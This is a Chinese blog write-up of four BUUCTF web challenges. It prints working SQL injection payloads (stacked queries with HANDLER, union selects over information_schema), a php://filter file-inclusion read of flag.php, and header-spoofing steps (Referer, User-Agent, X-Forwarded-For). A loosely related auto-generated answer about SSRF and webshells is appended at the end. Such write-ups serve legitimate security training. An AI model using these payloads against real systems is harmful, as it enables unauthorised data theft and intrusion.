buuctf(web)部分实操题和知识点

1.[强网杯 2019]随便注

(1)打开环境发现是sql注入 

(2)输入1,2这里都会对应回显相应的内容

(3)这里判断一下是不是字符型注入   1'

(4)在判断是否存在关键字过滤  select

(5)发现联合查询等放方式都被过滤了,这里只能尝试堆叠注入了,先看看有几个字段  1’ order by 2#  和  1; order by 3#;    根据回显可判断出字段数为2

这里就先查看数据库  1’; show databases;

(6)再查看数据表  1'; show tables;

(7)根据表中的数据,先爆一下words表中的数据 1'; show columns from words; #

(8)发现words表中并不存在flag文件,再爆一下1919810931114514中的数据   1';show columns from `1919810931114514`; --+

注意:使用show 命令查看表中的「字段」,注意表名要用反引号包裹

(9)打开发现这里存在flag文件,尝试获取flag表中的数据,这里要使用一个handler命令

1';handler `1919810931114514` open;handler `1919810931114514` read first; --+

注:使用handler 命令查看表中的「数据」,需要注意的是,表名如果是数字,则需要使用反引号包裹起来

打开此表就能看到flag数据了

注:MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

2.[极客大挑战 2019]Secret File

(1)打开环境后是一些文字信息,没有解题作用

(2)查看源码,看这题想文件包含漏洞题,而且源码里还有一个隐藏文件

(3)直接打开这个页面发现还有链接,直接跟着它走

(4)进来之后还是没发现啥有用的

(5)这里就需要靠考虑是不是在两个网页变换时有没有什么变化,直接抓包看看,从响应内容中我们可以看到页面的内容中存在信息泄露,「注释」中有一个文件 secr3t.php

(6)打开这个文件看看里面有啥

(7)访问 secr3t.php 文件,页面中展示了部分代码,很明显是一个「文件包含」漏洞,并提示 flag 就在 flag.php文件中,意思就是让我们查看 flag.php 文件的内容,但是直接打开却打不开

这里跟前面做过的一个看后端源码的题很相似,就是:PHP的文件包含函数有一个「特性」,被包含的文件内容中,如果是「代码」则会执行,而不会在页面中展示;如果是「非代码」(不能被执行的内容),则会以文本的形式在页面中展示出来。针对这一特性,我们可以使用PHP伪协议对文件内容进行「编码」,编码后的文件内容由于不能被执行,会展示在页面中,而后再将页面中的内容复制到本地进行「解码」,即可查看文件内容,拿到 flag。

这里还是选择用base64编码     /secr3t.php?file=php://filter/read=convert.base64--encode/resource=flag.php

(8)用工具解码后查看它的编码内容即可找到flag

3.[极客大挑战 2019]LoveSQL

(1)点进环境后是这样一个界面

(2)这里先输入1  1‘    1’ or 1=1#等看看回显数据,

        发现都输入1‘时是下面这样的

(3)猜解字段数

当username=1' order by 4 -- +  password=123456时,页面报错。

(4)当username=1' order by 3 -- +  password=123456时,页面正常,判断有三个字段。

(5)寻找回显点

构造sql语句:username=1' union select 1,2,3 -- + password=123456 ;发现存在两个回显点。

(6)再查一下表数据 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#   可以看到有geekuser,l0ve1ysq1两个表

(7)先查看第一个表的字段  1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

(8)再查看第二张表字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
 

(9)再分别看看两张表中的数据  1' union select 1,2,group_concat(id,username,password) from geekuser#

(10)1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#   在第二张表中找到flag

4.[极客大挑战 2019]Http

首先这是Http题常见的一种体系,通常需要补全下面的这些内容才能拿到flag

GET or POST / HTTP/1.1
 Host:
 Cache-Control:
 Upgrade-Insecure-Requests:
 User-Agent: //一般这个地方也需要改,看题目给的啥提示来改.
//UA的后面接上请求的浏览器 操作系统的信息等.
 Accept: 
 Accept-Encoding:
 Accept-Language: 
 Connection: 
 X-Forwarded-For://如果提示只能由本地访问,这里内容必须改为127.0.0.1如果给了其他ip,那就改为其他IP地址.
 Referer://这地方也需要改,看看题目给的提示,看给哪个url。
 Cookie://如果提示只能由管理员访问,就必须把Cookie的内容改为admin。

状态码表明资源的请求结果状态,由三位十进制数组成,第一位代表基本的类别:

  • 1xx,提供信息
  • 2xx,请求成功提交
  • 3xx,客户端重定向其他资源
  • 4xx,请求包含错误
  • 5xx,服务端执行遇到错误

这是常见的状态码和短语

(1)打开环境后是一个静态页面

解读<a style="border:none;cursor:default;" οnclick="return false" href="Secret.php">
<a>标签是HTML中用于创建超链接的元素。所以我们可以把"Secret.php"理解为一个链接地址。这个超链接指向名为"Secret.php"的文件或资源。而onclick是点击事件的意思。它被设置为return false,这说明点击该链接时,不会执行任何操作。这样我们就得到了解决本题的有用信息。

(2)进入它源码中的网页   

"https://Sycsecret.buuoj.cn" 是一个URL,指向一个名为 "Sycsecret.buuoj.cn" 的网站或资源。即提示要增加Referer值为https://Sycsecret.buuoj.cn。Referer(请求头字段)表示指示请求的来源页面。It doesn’t come from我们可以添加使它变成do。
 

(3)这里用BP抓包后修改

(4)点击页面渲染。显示界面为Please use "Syclover" browser,表示请使用Syclover浏览器。 即需要增加User-Agent。  

注:  User-Agent:标识发起请求的用户代理(常为浏览器)

(5)所以我们要把User-Agent的浏览器改为Syclover浏览器。

之后界面显示“No!!! you can only read this locally!!!”表示只能本地访问的意思。

(6)这就需要增加一个X-Forwarded-For:127.0.0.1

注:  X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。

一般的ctf题对 X-Forwarded-For 的考点是    只能由本地访问,就会用到 X-Forwarded-For。

然后就能找到flag了

  • 13
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值